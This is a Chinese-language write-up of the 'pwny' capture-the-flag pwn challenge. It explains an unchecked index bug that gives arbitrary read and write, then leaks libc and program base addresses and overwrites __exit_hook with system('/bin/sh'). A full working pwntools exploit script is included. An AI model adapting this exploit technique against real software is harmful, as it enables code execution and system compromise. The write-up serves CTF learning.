pwny
<p>[TOC]</p>
<h1>🌓分析</h1>
<p>程序提供了三个选项:read、write和exit
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=c1d174ef2b855bdcdd899179c0703014&file=file.png" alt="" />
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=510c802e1e6c577bc0f0730d402bf983&file=file.png" alt="" />
Read和Write函数都没有检测输入的index合法性,也就可以任意写任意读
值得注意的是这里的fd并不是0,也就是我们无法输入
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=2c4fb4e5e7e0d0a1f53e37b69e0f9139&file=file.png" alt="" />
fd是3,也就是读取随机数到存储空间中
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=b4c2ba5395e34b1ddf4bf09beb40f38d&file=file.png" alt="" />
fd的位置存储在list的下面,可以利用数组越界来用read函数读取随机数写入fd,然后在此用read函数读取,这个时候fd是一个随机数,而不是有效的文件描述符,这时候就会写入0
<img src="https://pic1.imgdb.cn/item/636f165b16f2c2beb161ff36.gif" alt="" />
接下来就可以正常使用Read和Write,首先使用Read来泄露libc函数地址和程序地址
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=e717bee096d58822a8f7b9e50436147a&file=file.png" alt="" />
libc函数地址可以泄露got内容
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=4b85e4465cecf2f61a74a7fd0cba8df1&file=file.png" alt="" />
程序地址可以泄露该处,两处偏移量分别为-25和-11,然后就可以计算出libc基地址和elf基地址
<img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=8170669c4cbca6f884453ceab0018ab8&file=file.png" alt="" />
然后即可计算__exit_hook地址、__exit_hook参数地址和list地址,计算offset,就可以修改__exit_hook内容为system,修改参数地址为/bin/sh,最后exit即可拿到shell</p>
<h1>🌓Exploit</h1>
<pre><code class="language-py">from pwn import*
#context.log_level = 'debug'
o = process('./pwny')
elf = ELF("./pwny")
libc = elf.libc
def read(index):
o.recvuntil('Your choice:')
o.sendline('1')
o.sendafter('Index:', str(index))
def write(index, content):
o.recvuntil('Your choice:')
o.sendline('2')
o.sendlineafter('Index: ', str(index))
o.send(content)
write(256, '')
write(256, '')
read(p64(-25&0xffffffffffffffff))
o.recvuntil('Result: ')
puts_addr = int(o.recvuntil('\n')[:-1], 16)
libc_base = puts_addr - libc.sym['puts']
log.info("libc_base: "+hex(libc_base))
read(p64(-11&0xffffffffffffffff))
o.recvuntil('Result: ')
data = int(o.recv(12), 16)
elf_base = data - 0x202008
log.info("elf_base: "+hex(elf_base))
li = elf_base + 0x202060
exit_hook = libc_base + 0x619f60
arg = libc_base + 0x619968
sys_addr = libc_base + libc.sym['system']
offset = (exit_hook - li) / 8
offset2 = (arg - li) / 8
write(offset, p64(sys_addr))
write(offset2, "/bin/sh\x00")
o.recvuntil('Your choice:')
o.sendline('3')
o.interactive()</code></pre>
<p><img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=cca8ff73a9220a32c581d3725654ed9e&file=file.png" alt="" /></p>
<h1>🌓参考文章</h1>
<p><a href="https://www.showdoc.com.cn/zepor/9549953099034699">__exit_hook</a></p>
<h1>🌓附件</h1>
<p><a href="https://flowus.cn/c3n1g/share/208d1617-d790-41a1-80c2-ab3c32aa167d">https://flowus.cn/c3n1g/share/208d1617-d790-41a1-80c2-ab3c32aa167d</a>
【FlowUs 息流】pwny.zip</p>